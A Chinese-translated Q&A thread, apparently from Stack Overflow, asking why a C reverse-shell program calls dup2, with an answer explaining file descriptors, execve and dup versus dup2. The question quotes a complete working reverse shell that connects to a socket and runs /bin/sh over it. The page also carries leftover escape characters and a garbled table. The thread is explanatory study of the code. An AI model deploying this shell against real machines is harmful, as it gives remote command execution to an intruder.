为什么这个 C 反向 shell 代码中需要 dup2?

Das*_*235 5 c sockets file-descriptor reverse-shell

我遇到了这个用 c 编写的反向 shell 代码。

main(){
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in sock_addr;
    sock_addr.sin_family = AF_INET;
    sock_addr.sin_port = htons(8080);
    sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));   

    dup2(sock, STDIN_FILENO);
    dup2(sock, STDOUT_FILENO);
    dup2(sock, STDERR_FILENO);
    execl("/bin/sh", NULL);
}
Run Code Online (Sandbox Code Playgroud)

我想理解它,所以我了解了文件描述符,因为使用了 dup2。现在的问题是我不明白为什么。

套接字的手册页让我假设 stdin、stdout 和 stderr 正在被套接字取代。

[...] 成功调用返回的文件描述符将是当前未为进程打开的最小编号的文件描述符。

这个假设是真的吗?如果是,为什么要重置默认流?是否是因为以下 execl("/bin/sh", NULL) 行,正如线程所暗示的那样?

Tur*_*ght 7

文件描述符

\n

每个文件、套接字、管道等...在进程中都由一个称为文件描述符的数字唯一标识。
\n如果您创建一个新的文件描述符,您将获得进程中最低的未使用文件描述符编号,从 0 开始。

\n

每个文件描述符的前 3 个都有特殊的作用:

\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
FDC常数
0标准输入文件号
1标准输出_文件号
2STDERR_FILENO
\n
\n

如果您愿意,您可以随时通过查询来查看文件描述符(以及它们所指的内容)/proc,例如:

\n
ls -l /proc/<pid of your process>/fd\n
Run Code Online (Sandbox Code Playgroud)\n

execve 及其朋友

\n

execve根据参数指定,用新进程替换当前进程。
\n您的进程打开的所有文件描述符将保持打开状态\xc2\xb9,并且新进程可以使用它们。

\n

\xc2\xb9 除了标记为close-on-exec

\n

你的程序做什么

\n

程序启动后,您的文件描述符可能如下所示:

\n
0 -> /dev/pts/1\n1 -> /dev/pts/1\n2 -> /dev/pts/1\n
Run Code Online (Sandbox Code Playgroud)\n

(只是普通的 stdin、stdout、stderr,连接到普通终端)

\n

之后分配一个套接字:\nint sock = socket(AF_INET, SOCK_STREAM, 0);

\n
0 -> /dev/pts/1\n1 -> /dev/pts/1\n2 -> /dev/pts/1\n3 -> [socket:12345]\n
Run Code Online (Sandbox Code Playgroud)\n

然后连接套接字并访问 dup2。\ndup2克隆一个文件描述符,并且与此不同的是dup,为它分配一个特定的文件描述符编号(如果该 fd 已在使用中,它将首先关闭)

\n

所以dup2(sock, STDIN_FILENO);你的 fd 看起来像这样:

\n
0 -> [socket:12345]\n1 -> /dev/pts/1\n2 -> /dev/pts/1\n3 -> [socket:12345]\n
Run Code Online (Sandbox Code Playgroud)\n

所以在execlfd 之前是:

\n
0 -> [socket:12345]\n1 -> [socket:12345]\n2 -> [socket:12345]\n3 -> [socket:12345]\n
Run Code Online (Sandbox Code Playgroud)\n

然后您的进程执行到/bin/sh,用 shell 替换当前进程。

\n

现在您有了一个 shell,其输入和输出连接到您创建的套接字,从而有效地允许套接字另一端的程序发送任意 shell 命令,这些命令将由套接字执行/bin/sh并通过套接字返回输出。

\n

正如 @JonathanLeffler 在评论中指出的那样,fd 3 可以在 exec 之前关闭,因为不需要它。

\n

为什么不使用dup代替dup2

\n

正如您引用的那样,使用dup将为您提供进程中可用的最低可用 fd 。

\n

因此可以执行以下操作:

\n
close(STDIN_FILENO);\nclose(STDOUT_FILENO);\nclose(STDERR_FILENO);\ndup(sock);\ndup(sock);\ndup(sock);\n
Run Code Online (Sandbox Code Playgroud)\n

关闭将关闭 fd 0-2:

\n
3 -> [socket:12345]\n
Run Code Online (Sandbox Code Playgroud)\n

并且 dup 会将 fd 3 复制到 0-2 (你总是得到最低的可用数字,即使它们是 stdin、stdout 或 stderr)

\n
0 -> [socket:12345]\n1 -> [socket:12345]\n2 -> [socket:12345]\n3 -> [socket:12345]\n
Run Code Online (Sandbox Code Playgroud)\n

但是,如果您有其他线程正在创建 fd(例如,另一个线程可能在您关闭 stdin 后创建一个新的 fd,因此它得到 fd 0,而您的 dup() 稍后将得到 4),则这可能会出错)。

\n

这就是dup2():精确分配特定的 fd(在本例中为 stdin、stdout、stderr)。

\n
\n

dup2() 系统调用执行与 dup() 相同的任务,但它不使用编号最小的未使用文件描述符,而是使用 newfd 中指定的文件描述符编号。换句话说,文件描述符 newfd 被调整,现在它引用与 oldfd 相同的打开文件描述。

\n
\n

还有dup3,除了dup2可以做的之外,它还允许您指定标志,例如O_CLOEXEC,在执行时会自动关闭 fd。

\n